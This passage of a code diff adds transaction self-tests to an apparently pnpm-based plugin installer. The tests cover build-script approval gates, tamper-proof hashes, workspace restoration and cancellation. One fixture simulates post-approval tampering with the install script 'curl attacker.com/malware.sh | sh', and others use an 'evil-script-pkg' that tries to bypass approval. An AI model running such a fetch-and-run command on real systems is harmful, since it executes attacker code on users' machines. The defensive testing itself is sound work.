+ && outcome.needsApproval.some((entry) => entry.name === "node-pty")
2010
+ && outcome.proof !== undefined
2011
+ && outcome.proof.candidate.name === "some-plugin"
2012
+ && outcome.proof.blockedPackages.some((e) => e.name === "node-pty")
2013
+ && outcome.needsApproval.some((entry) => entry.name === "node-pty"
2014
+ && entry.version === "1.0.0"
2015
+ && entry.scripts?.install === "node install.js"
2016
+ && entry.contentHash === outcome.proof.blockedPackages.find((proofEntry) => proofEntry.name === "node-pty")?.contentHash
2017
+ && entry.contentHash !== "0".repeat(64)
2018
+ && entry.weeklyDownloads === 123)
2019
+ && calls.length === 1
2020
+ && !existsSync(pendingMarkerPath(profileDir)),
2021
+ `status=${outcome.status} calls=${calls.length} marker=${existsSync(pendingMarkerPath(profileDir))}`,
2022
+ );
2023
+ const call = calls[0] ?? { args: [], options: {} };
2024
+ check(
2025
+ "实装 argv/env:strict-dep-builds + peer 关闭 + cwd/shell 正确",
2026
+ JSON.stringify(call.args) === JSON.stringify(liveAddArgs("some-plugin"))
2027
+ && call.args.includes("--config.strict-dep-builds=true")
2028
+ && call.args.includes("--config.auto-install-peers=false")
2029
+ && call.options.env?.npm_config_strict_dep_builds === "true"
2030
+ && call.options.env?.NPM_CONFIG_STRICT_DEP_BUILDS === "true"
2031
+ && call.options.env?.npm_config_auto_install_peers === "false"
2032
+ && call.options.cwd === profileDir
2033
+ && call.options.shell === false,
2034
+ JSON.stringify({ args: call.args, shell: call.options?.shell, cwd: call.options?.cwd }),
2035
+ );
2036
+ } finally {
2037
+ cleanup();
2038
+ }
2039
+ }
2040
+
2041
+ // 1b. exit 0 + Ignored build scripts 且已点名批准 + approvedProof 匹配:
2042
+ // 写 allowBuilds 重试一次,重试输出干净才 finalize;成功后 workspace 原样还原,保留 pending marker。
2043
+ {
2044
+ const { profileDir, cleanup } = makeTempProfile("ignored-approved");
2045
+ try {
2046
+ const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
2047
+ writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
2048
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2049
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
2050
+ const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
2051
+
2052
+ let temporaryApprovedWorkspace;
2053
+ const { spawnFn, calls } = scriptedSpawn([
2054
+ { code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
2055
+ {
2056
+ code: 0,
2057
+ out: "Done\n",
2058
+ beforeExit: () => {
2059
+ temporaryApprovedWorkspace = load(readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8"));
2060
+ },
2061
+ },
2062
+ ]);
2063
+ const producer = runInstall({
2064
+ profile: "p",
2065
+ spec: "some-plugin",
2066
+ allowBuildScripts: ["node-pty"],
2067
+ approvedProof,
2068
+ preflight: preflightStub("some-plugin"),
2069
+ _profileDir: profileDir,
2070
+ _spawn: spawnFn,
2071
+ _describe: describeStub,
2072
+ });
2073
+ const outcome = await producer.done;
2074
+ const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
2075
+ check(
2076
+ "退出码 0 + Ignored build scripts(已批准+proof 匹配)→ 重试成功,workspace 字节还原(不残留 allowBuilds),marker 保留",
2077
+ outcome.status === "completed"
2078
+ && calls.length === 2
2079
+ && calls[1].args[0] === "rebuild"
2080
+ && calls[1].args.includes("node-pty")
2081
+ && !calls[1].args.includes("some-plugin")
2082
+ && temporaryApprovedWorkspace?.allowBuilds?.["node-pty@1.0.0"] === true
2083
+ && temporaryApprovedWorkspace?.dangerouslyAllowAllBuilds === false
2084
+ && Array.isArray(temporaryApprovedWorkspace?.onlyBuiltDependencies)
2085
+ && temporaryApprovedWorkspace.onlyBuiltDependencies.length === 0
2086
+ && finalWs === initialWs
2087
+ && existsSync(pendingMarkerPath(profileDir)),
2088
+ `status=${outcome.status} calls=${calls.length} finalWs=${JSON.stringify(finalWs)} marker=${existsSync(pendingMarkerPath(profileDir))}`,
2089
+ );
2090
+ } finally {
2091
+ cleanup();
2092
+ }
2093
+ }
2094
+
2095
+ // 1c. 攻击防御:批准后修改 postinstall / 文件内容 → retry 时 proof 校验失败,绝不重试并回滚
2096
+ {
2097
+ const { profileDir, cleanup } = makeTempProfile("attack-tampered-proof");
2098
+ try {
2099
+ const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
2100
+ writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
2101
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2102
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node safe-install.js" });
2103
+ const originalProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
2104
+
2105
+ // 模拟攻击者在审批之后篡改了 node-pty 的 install 脚本和文件
2106
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "curl attacker.com/malware.sh | sh" }, { "malware.js": "evil();\n" });
2107
+
2108
+ const maliciousRan = join(profileDir, "MALICIOUS_RAN");
2109
+ const { spawnFn, calls } = scriptedSpawn([
2110
+ { code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
2111
+ { code: 0, out: "Done\n", beforeExit: () => writeFileSync(maliciousRan, "bad\n") },
2112
+ ]);
2113
+ const producer = runInstall({
2114
+ profile: "p",
2115
+ spec: "file:../same-mutable-plugin",
2116
+ allowBuildScripts: ["node-pty"],
2117
+ approvedProof: originalProof,
2118
+ preflight: preflightStub("some-plugin"),
2119
+ _profileDir: profileDir,
2120
+ _spawn: spawnFn,
2121
+ _describe: describeStub,
2122
+ });
2123
+ const outcome = await producer.done;
2124
+ const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
2125
+ check(
2126
+ "攻击防御:同名包篡改脚本/内容后重试 → proof 不匹配立即拒绝,不触发二次 spawn,workspace/profile 回滚",
2127
+ outcome.status === "failed"
2128
+ && /security verification failed/.test(outcome.detail ?? "")
2129
+ && calls.length === 1
2130
+ && !existsSync(maliciousRan)
2131
+ && finalWs === initialWs
2132
+ && !existsSync(pendingMarkerPath(profileDir)),
2133
+ `status=${outcome.status} calls=${calls.length} detail=${outcome.detail}`,
2134
+ );
2135
+ } finally {
2136
+ cleanup();
2137
+ }
2138
+ }
2139
+
2140
+ // 1d. 攻击防御:profile 预先存在的 allowBuilds: true 无法绕过首次审批警告
2141
+ {
2142
+ const { profileDir, cleanup } = makeTempProfile("bypass-preexisting-allow");
2143
+ try {
2144
+ const initialWs = "packages:\n - .\n\nallowBuilds:\n evil-script-pkg: true\nonlyBuiltDependencies:\n - evil-script-pkg\ndangerouslyAllowAllBuilds: true\n\nnodeLinker: hoisted\n";
2145
+ writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
2146
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2147
+ materializeFakePackage(profileDir, "evil-script-pkg", "1.0.0", { postinstall: "node evil.js" });
2148
+
2149
+ let firstProbeWorkspace;
2150
+ const { spawnFn, calls } = scriptedSpawn([
2151
+ {
2152
+ code: 0,
2153
+ out: "Ignored build scripts: evil-script-pkg@1.0.0\n",
2154
+ beforeExit: () => {
2155
+ firstProbeWorkspace = load(readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8"));
2156
+ },
2157
+ },
2158
+ ]);
2159
+ const producer = runInstall({
2160
+ profile: "p",
2161
+ spec: "some-plugin",
2162
+ preflight: preflightStub("some-plugin"),
2163
+ _profileDir: profileDir,
2164
+ _spawn: spawnFn,
2165
+ _describe: describeStub,
2166
+ });
2167
+ const outcome = await producer.done;
2168
+ const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
2169
+ check(
2170
+ "攻击防御:预先存在的 allowBuilds 在首轮被中和 → 依然触发审批闸,且事后恢复用户原本的 workspace 字节",
2171
+ outcome.status === "failed"
2172
+ && Array.isArray(outcome.needsApproval)
2173
+ && outcome.needsApproval.some((e) => e.name === "evil-script-pkg")
2174
+ && calls.length === 1
2175
+ && Object.keys(firstProbeWorkspace?.allowBuilds ?? {}).length === 0
2176
+ && Array.isArray(firstProbeWorkspace?.onlyBuiltDependencies)
2177
+ && firstProbeWorkspace.onlyBuiltDependencies.length === 0
2178
+ && firstProbeWorkspace?.dangerouslyAllowAllBuilds === false
2179
+ && finalWs === initialWs,
2180
+ `status=${outcome.status} calls=${calls.length} finalWs=${JSON.stringify(finalWs)}`,
2181
+ );
2182
+ } finally {
2183
+ cleanup();
2184
+ }
2185
+ }
2186
+
2187
+ // 1d-2. package.json can carry the same build authorization independently
2188
+ // of pnpm-workspace.yaml. Refuse every known positive form before spawning.
2189
+ {
2190
+ const policies = [
2191
+ { pnpm: { allowBuilds: { "evil-script-pkg": true } } },
2192
+ { pnpm: { onlyBuiltDependencies: ["evil-script-pkg"] } },
2193
+ { pnpm: { dangerouslyAllowAllBuilds: true } },
2194
+ { dependenciesMeta: { "evil-script-pkg": { built: true } } },
2195
+ ];
2196
+ let allRejected = true;
2197
+ const details = [];
2198
+ for (let index = 0; index < policies.length; index++) {
2199
+ const { profileDir, cleanup } = makeTempProfile(`manifest-preauth-${index}`);
2200
+ try {
2201
+ const manifest = { name: "p", dependencies: {}, ...policies[index] };
2202
+ writeFileSync(join(profileDir, "package.json"), JSON.stringify(manifest, undefined, 2) + "\n");
2203
+ const { spawnFn, calls } = scriptedSpawn([]);
2204
+ const outcome = await runInstall({
2205
+ profile: "p",
2206
+ spec: "some-plugin",
2207
+ preflight: preflightStub("some-plugin"),
2208
+ _profileDir: profileDir,
2209
+ _spawn: spawnFn,
2210
+ }).done;
2211
+ const rejected = outcome.status === "failed"
2212
+ && /pre-authorizes|would bypass/.test(outcome.detail ?? "")
2213
+ && calls.length === 0
2214
+ && !existsSync(pendingMarkerPath(profileDir));
2215
+ allRejected &&= rejected;
2216
+ if (!rejected) details.push(`${index}:${outcome.status}:${outcome.detail}:calls=${calls.length}`);
2217
+ } finally {
2218
+ cleanup();
2219
+ }
2220
+ }
2221
+ check("package.json 四种预授权策略均在 pnpm spawn 前 fail closed", allRejected, details.join(" | "));
2222
+ }
2223
+
2224
+ // 1e. 无论是安装失败、重试失败还是成功,workspace 原始字节均完整还原(不破坏用户已有策略)
2225
+ {
2226
+ const { profileDir, cleanup } = makeTempProfile("ws-restore-on-failure");
2227
+ try {
2228
+ const userCustomWs = "packages:\n - .\n\nallowBuilds:\n user-custom-tool: true\n";
2229
+ writeFileSync(join(profileDir, "pnpm-workspace.yaml"), userCustomWs);
2230
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2231
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
2232
+ const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
2233
+
2234
+ // 重试执行失败
2235
+ const { spawnFn, calls } = scriptedSpawn([
2236
+ { code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
2237
+ { code: 1, out: "Build error\n" },
2238
+ ]);
2239
+ const producer = runInstall({
2240
+ profile: "p",
2241
+ spec: "some-plugin",
2242
+ allowBuildScripts: ["node-pty"],
2243
+ approvedProof,
2244
+ preflight: preflightStub("some-plugin"),
2245
+ _profileDir: profileDir,
2246
+ _spawn: spawnFn,
2247
+ _describe: describeStub,
2248
+ });
2249
+ const outcome = await producer.done;
2250
+ const finalWs = readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8");
2251
+ check(
2252
+ "重试执行失败 → workspace 依然完整恢复用户的 user-custom-tool 策略",
2253
+ outcome.status === "failed" && calls.length === 2 && finalWs === userCustomWs,
2254
+ `status=${outcome.status} calls=${calls.length} detail=${JSON.stringify(outcome.detail)} finalWs=${JSON.stringify(finalWs)}`,
2255
+ );
2256
+ } finally {
2257
+ cleanup();
2258
+ }
2259
+ }
2260
+
2261
+
2262
+ // 1f. Even when an approved rebuild itself succeeds, inability to put the
2263
+ // user's exact workspace bytes back is terminal and forces snapshot rollback.
2264
+ {
2265
+ const { profileDir, manifest, cleanup } = makeTempProfile("ws-restore-hard-fail");
2266
+ try {
2267
+ const initialWs = "packages:\n - .\n\nnodeLinker: hoisted\n";
2268
+ writeFileSync(join(profileDir, "pnpm-workspace.yaml"), initialWs);
2269
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2270
+ materializeFakePackage(profileDir, "node-pty", "1.0.0", { install: "node install.js" });
2271
+ const approvedProof = computeMaterializedProof(profileDir, "some-plugin", [{ name: "node-pty", version: "1.0.0", selector: "node-pty@1.0.0" }]);
2272
+ const { spawnFn, calls } = scriptedSpawn([
2273
+ { code: 0, out: "Ignored build scripts: node-pty@1.0.0\n" },
2274
+ { code: 0, out: "Done\n" },
2275
+ ]);
2276
+ const outcome = await runInstall({
2277
+ profile: "p",
2278
+ spec: "some-plugin",
2279
+ allowBuildScripts: ["node-pty"],
2280
+ approvedProof,
2281
+ preflight: preflightStub("some-plugin"),
2282
+ _profileDir: profileDir,
2283
+ _spawn: spawnFn,
2284
+ _describe: describeStub,
2285
+ _restoreWorkspace: () => { throw new Error("simulated restore denial"); },
2286
+ }).done;
2287
+ check(
2288
+ "workspace 恢复写失败 → 即使 rebuild exit 0 也 terminal failed 并回滚 marker/profile",
2289
+ outcome.status === "failed"
2290
+ && /restor|恢复|workspace/i.test(outcome.detail ?? "")
2291
+ && calls.length === 2
2292
+ && readFileSync(join(profileDir, "package.json"), "utf8") === manifest
2293
+ && readFileSync(join(profileDir, "pnpm-workspace.yaml"), "utf8") === initialWs
2294
+ && !existsSync(pendingMarkerPath(profileDir)),
2295
+ `status=${outcome.status} detail=${JSON.stringify(outcome.detail)} calls=${calls.length}`,
2296
+ );
2297
+ } finally {
2298
+ cleanup();
2299
+ }
2300
+ }
2301
+
2302
+ // 2. finalizeSuccess 抛错(pnpm 留下了坏 manifest):归一成 failed、回滚
2303
+ // 恢复字节并收掉 marker、done 恰好结算一次且不拒绝。
2304
+ {
2305
+ const { profileDir, manifest, cleanup } = makeTempProfile("finalize-throws");
2306
+ try {
2307
+ materializeFakePackage(profileDir, "some-plugin", "1.0.0");
2308
+ const { spawnFn } = scriptedSpawn([{
2309
+ code: 0,
2310
+ out: "Done\n",
2311
+ beforeExit: () => writeFileSync(join(profileDir, "package.json"), "{ broken json"),
2312
+ }]);
2313
+ const producer = runInstall({ profile: "p", spec: "some-plugin", preflight: preflightStub("some-plugin"), _profileDir: profileDir, _spawn: spawnFn, _describe: describeStub });
2314
+ let settlements = 0;
2315
+ void producer.done.then(() => { settlements++; });
2316
+ const outcome = await producer.done;
2317
+ await flush();
2318
+ check(
2319
+ "finalize 抛错 → failed + 回滚恢复 package.json + marker 收掉 + 单次结算",
2320
+ outcome.status === "failed"
2321
+ && /reconciliation failed/.test(outcome.detail ?? "")
2322
+ && readFileSync(join(profileDir, "package.json"), "utf8") === manifest
2323
+ && !existsSync(pendingMarkerPath(profileDir))
2324
+ && settlements === 1,
2325
+ `status=${outcome.status} detail=${JSON.stringify(outcome.detail)} settlements=${settlements}`,
2326
+ );
2327
+ } finally {
2328
+ cleanup();
2329
+ }
2330
+ }
2331
+
2332
+ // 3a. 串行化:install 在跑时 remove 排队,不许并发 spawn;install 失败回滚
2333
+ // 后 remove 才执行,且因目标不是依赖而 fail-fast(仍不 spawn)。
2334
+ {
2335
+ const { profileDir, cleanup } = makeTempProfile("serialize");
2336
+ try {
2337
+ materializeFakePackage(profileDir, "pkg-a", "1.0.0");
2338
+ const { spawnFn, procs } = blockingSpawn();
2339
+ const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
2340
+ await flush();
2341
+ const installSpawned = procs.length === 1;
2342
+ const remove = runRemove({ profile: "p", packageName: "pkg-a", _profileDir: profileDir, _spawn: spawnFn });
2343
+ await flush();
2344
+ const queuedNotSpawned = procs.length === 1;
2345
+ procs[0].finish(1, "boom");
2346
+ const installOutcome = await install.done;
2347
+ const removeOutcome = await remove.done;
2348
+ check(
2349
+ "install/remove 串行:remove 排队等待,install 结束后才执行",
2350
+ installSpawned
2351
+ && queuedNotSpawned
2352
+ && installOutcome.status === "failed"
2353
+ && removeOutcome.status === "failed"
2354
+ && /not a dependency/.test(removeOutcome.detail ?? "")
2355
+ && procs.length === 1,
2356
+ `procs=${procs.length} install=${installOutcome.status} remove=${removeOutcome.status} ${JSON.stringify(removeOutcome.detail)}`,
2357
+ );
2358
+ } finally {
2359
+ cleanup();
2360
+ }
2361
+ }
2362
+
2363
+ // 3b-0. A corrupt/existing pending marker is recovery evidence. A new
2364
+ // install must neither overwrite it nor leave its just-created snapshot.
2365
+ {
2366
+ const { profileDir, cleanup } = makeTempProfile("install-corrupt-pending");
2367
+ try {
2368
+ const marker = pendingMarkerPath(profileDir);
2369
+ mkdirSync(dirname(marker), { recursive: true });
2370
+ const corruptBytes = "{ deliberately-corrupt\n";
2371
+ writeFileSync(marker, corruptBytes);
2372
+ const { spawnFn, calls } = scriptedSpawn([]);
2373
+ const outcome = await runInstall({
2374
+ profile: "p",
2375
+ spec: "some-plugin",
2376
+ preflight: preflightStub("some-plugin"),
2377
+ _profileDir: profileDir,
2378
+ _spawn: spawnFn,
2379
+ }).done;
2380
+ const snapshotsDir = join(dirname(marker), "snapshots");
2381
+ const leftoverSnapshots = existsSync(snapshotsDir) ? readdirSync(snapshotsDir) : [];
2382
+ check(
2383
+ "损坏/既有 pending marker → install 不 spawn、不覆盖证据、不遗留新 snapshot",
2384
+ outcome.status === "failed"
2385
+ && /already has a pending install marker/.test(outcome.detail ?? "")
2386
+ && calls.length === 0
2387
+ && readFileSync(marker, "utf8") === corruptBytes
2388
+ && leftoverSnapshots.length === 0,
2389
+ `status=${outcome.status} calls=${calls.length} snapshots=${leftoverSnapshots.join(",")} detail=${JSON.stringify(outcome.detail)}`,
2390
+ );
2391
+ } finally {
2392
+ cleanup();
2393
+ }
2394
+ }
2395
+
2396
+ // 3b. pending marker 存在时 remove 拒绝对该 profile 动手(fail closed),
2397
+ // marker 原样保留给恢复路径。
2398
+ {
2399
+ const { profileDir, cleanup } = makeTempProfile("pending-refuse", { "pkg-b": "1.0.0" });
2400
+ try {
2401
+ mkdirSync(dirname(pendingMarkerPath(profileDir)), { recursive: true });
2402
+ writeFileSync(pendingMarkerPath(profileDir), "{}\n");
2403
+ const { spawnFn, procs } = blockingSpawn();
2404
+ const outcome = await runRemove({ profile: "p", packageName: "pkg-b", _profileDir: profileDir, _spawn: spawnFn }).done;
2405
+ check(
2406
+ "pending marker 存在 → remove 拒绝执行且不 spawn pnpm,marker 保留",
2407
+ outcome.status === "failed"
2408
+ && /pending install transaction/.test(outcome.detail ?? "")
2409
+ && procs.length === 0
2410
+ && existsSync(pendingMarkerPath(profileDir)),
2411
+ `status=${outcome.status} procs=${procs.length} ${JSON.stringify(outcome.detail)}`,
2412
+ );
2413
+ } finally {
2414
+ cleanup();
2415
+ }
2416
+ }
2417
+
2418
+ // 3c. 排队中被取消:killed 结局,pnpm 从未启动;锁随后正常释放。
2419
+ {
2420
+ const { profileDir, cleanup } = makeTempProfile("cancel-queued");
2421
+ try {
2422
+ materializeFakePackage(profileDir, "pkg-a", "1.0.0");
2423
+ const { spawnFn, procs } = blockingSpawn();
2424
+ const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
2425
+ await flush();
2426
+ const remove = runRemove({ profile: "p", packageName: "pkg-a", _profileDir: profileDir, _spawn: spawnFn });
2427
+ remove.cancel();
2428
+ procs[0]?.finish(1, "boom");
2429
+ const installOutcome = await install.done;
2430
+ const removeOutcome = await remove.done;
2431
+ check(
2432
+ "排队中取消 → killed,未 spawn;前一个任务照常完成",
2433
+ removeOutcome.status === "killed" && procs.length === 1 && installOutcome.status === "failed",
2434
+ `remove=${removeOutcome.status} install=${installOutcome.status} procs=${procs.length}`,
2435
+ );
2436
+ } finally {
2437
+ cleanup();
2438
+ }
2439
+ }
2440
+
2441
+ // 4a. spawn 计划(纯函数):非 Windows 无 shell;Windows 有 .exe 则
2442
+ // shell:false,仅 .cmd 则 shell:true + treeKill,全找不到回退 "pnpm"。
2443
+ {
2444
+ const shimDir = mkdtempSync(join(tmpdir(), "dsh-mall-selftest-path-"));
2445
+ try {
2446
+ const planPosix = pnpmSpawnPlan({ platform: "linux", pathEnv: shimDir });
2447
+ const posixOk = planPosix.command === "pnpm" && planPosix.shell === false && planPosix.treeKill === false;
2448
+ const planMissing = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
2449
+ const missingOk = planMissing.command === "pnpm" && planMissing.shell === true && planMissing.treeKill === true;
2450
+ writeFileSync(join(shimDir, "pnpm.cmd"), "@echo off\r\n");
2451
+ const planCmd = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
2452
+ const cmdOk = planCmd.command === join(shimDir, "pnpm.cmd") && planCmd.shell === true && planCmd.treeKill === true;
2453
+ writeFileSync(join(shimDir, "pnpm.exe"), "MZ");
2454
+ const planExe = pnpmSpawnPlan({ platform: "win32", pathEnv: shimDir });
2455
+ const exeOk = planExe.command === join(shimDir, "pnpm.exe") && planExe.shell === false && planExe.treeKill === false;
2456
+ check(
2457
+ "pnpmSpawnPlan:posix 直起 / win32 优先 .exe 无 shell / 仅 .cmd 则 treeKill",
2458
+ posixOk && missingOk && cmdOk && exeOk,
2459
+ JSON.stringify({ planPosix, planMissing, planCmd, planExe }),
2460
+ );
2461
+ } finally {
2462
+ rmSync(shimDir, { recursive: true, force: true });
2463
+ }
2464
+ }
2465
+
2466
+ // 4b. 取消时序:cancel() → 进程 close → killed 结局 → 回滚收 marker,
2467
+ // 回滚严格发生在进程退出之后(done 链只在 'close' 后推进)。
2468
+ {
2469
+ const { profileDir, cleanup } = makeTempProfile("cancel-order");
2470
+ try {
2471
+ materializeFakePackage(profileDir, "pkg-a", "1.0.0");
2472
+ const { spawnFn, procs } = blockingSpawn();
2473
+ const install = runInstall({ profile: "p", spec: "pkg-a", preflight: preflightStub("pkg-a"), _profileDir: profileDir, _spawn: spawnFn });
2474
+ await flush();
2475
+ const spawnedAndMarked = procs.length === 1 && existsSync(pendingMarkerPath(profileDir));
2476
+ install.cancel();
2477
+ const outcome = await install.done;
2478
+ const output = (() => { let text = ""; let chunk = install.readOutput(); while (chunk.length > 0) { text += chunk; chunk = install.readOutput(); } return text; })();
2479
+ check(
2480
+ "取消在途 install → killed + 回滚收 marker(在进程退出之后)",
2481
+ spawnedAndMarked
2482
+ && outcome.status === "killed"
2483
+ && !existsSync(pendingMarkerPath(profileDir))
2484
+ && /restored profile files/.test(output),
2485
+ `status=${outcome.status} marker=${existsSync(pendingMarkerPath(profileDir))}`,
2486
+ );
2487
+ } finally {
2488
+ cleanup();
2489
+ }
2490
+ }
2491
+
2492
+ return failed;
2493
+ }
2494
+
1010
2495
  if (process.argv[1]?.endsWith("installer.js") && process.argv.includes("--self-test")) {
1011
2496
  console.log("allowBuilds 合并 fixtures:");
1012
2497
  const failed = runAllowBuildsFixtures();
1013
2498
  console.log(`${ALLOW_BUILDS_FIXTURES.length - failed}/${ALLOW_BUILDS_FIXTURES.length} passed`);
1014
- process.exit(failed === 0 ? 0 : 1);
2499
+ // 实装 pnpm add 的参数/环境(纯函数):peer 自动安装必须关闭,否则
2500
+ // marketplace 安装会把 @deepseek-ai 宿主依赖栈拉进 profile;构建脚本必须
2501
+ // 严格,否则 pnpm 退出码 0 却跳过构建脚本,批准闸形同虚设。
2502
+ const addArgs = liveAddArgs("some-plugin@1.0.0");
2503
+ const argsOk = addArgs[0] === "add" && addArgs[1] === "some-plugin@1.0.0"
2504
+ && addArgs.includes("--config.auto-install-peers=false")
2505
+ && addArgs.includes("--config.strict-dep-builds=true");
2506
+ const env = liveAddEnv({ KEEP_ME: "1" });
2507
+ const envOk = env.KEEP_ME === "1"
2508
+ && env.npm_config_auto_install_peers === "false" && env.NPM_CONFIG_AUTO_INSTALL_PEERS === "false"
2509
+ && env.npm_config_strict_dep_builds === "true" && env.NPM_CONFIG_STRICT_DEP_BUILDS === "true";
2510
+ console.log(` ${argsOk && envOk ? "PASS" : "FAIL"} 实装 pnpm add:peer 自动安装关闭 + 严格构建脚本(args + env)`);
2511
+ console.log("事务 fixtures:");
2512
+ // 默认失败:若事件循环提前排空(Promise 不挂住进程),静默退出也算 FAIL。
2513
+ process.exitCode = 1;
2514
+ void runTransactionFixtures().then(
2515
+ (txFailed) => {
2516
+ process.exit(failed === 0 && argsOk && envOk && txFailed === 0 ? 0 : 1);
2517
+ },
2518
+ (error) => {
2519
+ console.error(` FAIL 事务 fixtures 抛错: ${error?.stack ?? error}`);
2520
+ process.exit(1);
2521
+ },
2522
+ );
1015
2523
  }